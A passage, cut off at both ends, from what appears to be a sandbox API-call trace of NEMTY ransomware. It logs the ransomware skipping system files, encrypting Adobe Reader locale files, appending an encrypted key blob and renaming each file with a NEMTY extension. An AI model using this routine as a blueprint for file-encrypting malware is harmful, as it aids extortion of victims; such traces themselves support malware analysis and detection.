(HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.543] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Multimedia.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\multimedia.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.544] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=55808) returned 1 [0186.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xda00) returned 0x6352c48 [0186.544] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.544] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xda00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xda00, lpOverlapped=0x0) returned 1 [0186.549] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.549] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xda00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xda00, lpOverlapped=0x0) returned 1 [0186.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.549] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=55808, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xda00 [0186.549] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.549] CloseHandle (hObject=0x2e8) returned 1 [0186.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0186.550] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.550] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0186.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0186.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0186.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.550] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Multimedia.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\multimedia.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Multimedia.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\multimedia.cht._nemty_kgobjgd_")) returned 1 [0186.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0186.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0186.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.551] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="pddom.CHT", cAlternateFileName="")) returned 1 [0186.551] lstrcmpiW (lpString1="pddom.CHT", lpString2=".") returned 1 [0186.551] lstrcmpiW (lpString1="pddom.CHT", lpString2="..") returned 1 [0186.551] lstrcmpiW (lpString1="pddom.CHT", lpString2="...") returned 1 [0186.551] lstrcmpiW (lpString1="pddom.CHT", lpString2="windows") returned -1 [0186.551] lstrcmpiW (lpString1="pddom.CHT", lpString2="$RECYCLE.BIN") returned 1 [0186.551] lstrcmpiW (lpString1="pddom.CHT", lpString2="rsa") returned -1 [0186.551] lstrcmpiW (lpString1="pddom.CHT", lpString2="NTDETECT.COM") returned 1 [0186.551] lstrcmpiW (lpString1="pddom.CHT", lpString2="ntldr") returned 1 [0186.551] lstrcmpiW (lpString1="pddom.CHT", lpString2="MSDOS.SYS") returned 1 [0186.551] lstrcmpiW (lpString1="pddom.CHT", lpString2="IO.SYS") returned 1 [0186.551] lstrcmpiW (lpString1="pddom.CHT", lpString2="boot.ini") returned 1 [0186.551] lstrcmpiW (lpString1="pddom.CHT", lpString2="boot.ini") returned 1 [0186.551] lstrcmpiW (lpString1="pddom.CHT", lpString2="AUTOEXEC.BAT") returned 1 [0186.551] lstrcmpiW (lpString1="pddom.CHT", lpString2="ntuser.dat") returned 1 [0186.551] lstrcmpiW (lpString1="pddom.CHT", lpString2="desktop.ini") returned 1 [0186.551] lstrcmpiW (lpString1="pddom.CHT", lpString2="CONFIG.SYS") returned 1 [0186.551] lstrcmpiW (lpString1="pddom.CHT", lpString2="RECYCLER") returned -1 [0186.551] lstrcmpiW (lpString1="pddom.CHT", lpString2="BOOTSECT.BAK") returned 1 [0186.551] lstrcmpiW (lpString1="pddom.CHT", lpString2="bootmgr") returned 1 [0186.551] lstrcmpiW (lpString1="pddom.CHT", lpString2="programdata") returned -1 [0186.551] lstrcmpiW (lpString1="pddom.CHT", lpString2="appdata") returned 1 [0186.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CHT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0186.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CHT", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.CHT", lpUsedDefaultChar=0x0) returned 9 [0186.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CHT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0186.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CHT", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.CHT", lpUsedDefaultChar=0x0) returned 9 [0186.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CHT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0186.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CHT", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.CHT", lpUsedDefaultChar=0x0) returned 9 [0186.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CHT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0186.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CHT", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.CHT", lpUsedDefaultChar=0x0) returned 9 [0186.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0186.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0186.552] Sleep (dwMilliseconds=0x5) [0186.558] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22d82050, dwHighDateTime=0x1d561e8)) [0186.558] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22d82050, dwHighDateTime=0x1d561e8)) [0186.558] GetLastError () returned 0x0 [0186.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.558] GetLastError () returned 0x0 [0186.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.558] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.558] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.559] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0186.559] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="tBWGkToUCyBNhf26mhNHO5ypx3jbrCrYVcmSw8OikEu4cfitzgQbiQPFXhxOeAiq\r\nQ27aYaza23vSgWfE9r9Y6e1JmaHzYfBaefDETGpppSTBUc/QH6JfVJzqjy03tC/Z\r\nLFhx2j/AJiQ0TMMo/ZIA6+4czeTJh+tIQXv6Ebto+RN+5qHLak5e0O/VU0pkxjR4\r\nlHXmjkjuPBkSxTZfgiKKlvgsEJdGLUK+5sGeBlye2fKHOWKXq1CkYYsl/V7Dd9Xu\r\n8X8omcnzBZRNM+gJPaUYMS1r2+uh41qeHeraDsiXghL3VZyQGmN2XZ8zrI20Htdk\r\nFQfaFGqG0tPWEaraasFtaQ==\r\n", pcchString=0x653e5dc) returned 1 [0186.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0186.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.559] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\pddom.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\pddom.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.559] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=8704) returned 1 [0186.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2200) returned 0x6352c48 [0186.559] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.559] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2200, lpOverlapped=0x0) returned 1 [0186.561] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.561] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2200, lpOverlapped=0x0) returned 1 [0186.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.561] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=8704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2200 [0186.562] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.562] CloseHandle (hObject=0x2e8) returned 1 [0186.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0186.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0186.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0186.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0186.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.562] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\pddom.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\pddom.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\pddom.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\pddom.cht._nemty_kgobjgd_")) returned 1 [0186.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0186.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0186.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0186.563] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLITE.CHT", cAlternateFileName="")) returned 1 [0186.563] lstrcmpiW (lpString1="PPKLITE.CHT", lpString2=".") returned 1 [0186.563] lstrcmpiW (lpString1="PPKLITE.CHT", lpString2="..") returned 1 [0186.563] lstrcmpiW (lpString1="PPKLITE.CHT", lpString2="...") returned 1 [0186.563] lstrcmpiW (lpString1="PPKLITE.CHT", lpString2="windows") returned -1 [0186.563] lstrcmpiW (lpString1="PPKLITE.CHT", lpString2="$RECYCLE.BIN") returned 1 [0186.563] lstrcmpiW (lpString1="PPKLITE.CHT", lpString2="rsa") returned -1 [0186.563] lstrcmpiW (lpString1="PPKLITE.CHT", lpString2="NTDETECT.COM") returned 1 [0186.563] lstrcmpiW (lpString1="PPKLITE.CHT", lpString2="ntldr") returned 1 [0186.563] lstrcmpiW (lpString1="PPKLITE.CHT", lpString2="MSDOS.SYS") returned 1 [0186.563] lstrcmpiW (lpString1="PPKLITE.CHT", lpString2="IO.SYS") returned 1 [0186.563] lstrcmpiW (lpString1="PPKLITE.CHT", lpString2="boot.ini") returned 1 [0186.563] lstrcmpiW (lpString1="PPKLITE.CHT", lpString2="boot.ini") returned 1 [0186.563] lstrcmpiW (lpString1="PPKLITE.CHT", lpString2="AUTOEXEC.BAT") returned 1 [0186.563] lstrcmpiW (lpString1="PPKLITE.CHT", lpString2="ntuser.dat") returned 1 [0186.563] lstrcmpiW (lpString1="PPKLITE.CHT", lpString2="desktop.ini") returned 1 [0186.563] lstrcmpiW (lpString1="PPKLITE.CHT", lpString2="CONFIG.SYS") returned 1 [0186.563] lstrcmpiW (lpString1="PPKLITE.CHT", lpString2="RECYCLER") returned -1 [0186.563] lstrcmpiW (lpString1="PPKLITE.CHT", lpString2="BOOTSECT.BAK") returned 1 [0186.563] lstrcmpiW (lpString1="PPKLITE.CHT", lpString2="bootmgr") returned 1 [0186.563] lstrcmpiW (lpString1="PPKLITE.CHT", lpString2="programdata") returned -1 [0186.563] lstrcmpiW (lpString1="PPKLITE.CHT", lpString2="appdata") returned 1 [0186.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0186.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.CHT", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.CHT", lpUsedDefaultChar=0x0) returned 11 [0186.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0186.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.CHT", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.CHT", lpUsedDefaultChar=0x0) returned 11 [0186.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0186.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.CHT", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.CHT", lpUsedDefaultChar=0x0) returned 11 [0186.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0186.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.CHT", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.CHT", lpUsedDefaultChar=0x0) returned 11 [0186.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0186.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0186.564] Sleep (dwMilliseconds=0x5) [0186.574] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22da81b0, dwHighDateTime=0x1d561e8)) [0186.574] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22da81b0, dwHighDateTime=0x1d561e8)) [0186.574] GetLastError () returned 0x0 [0186.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.574] GetLastError () returned 0x0 [0186.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.574] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.574] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.574] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0186.574] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: 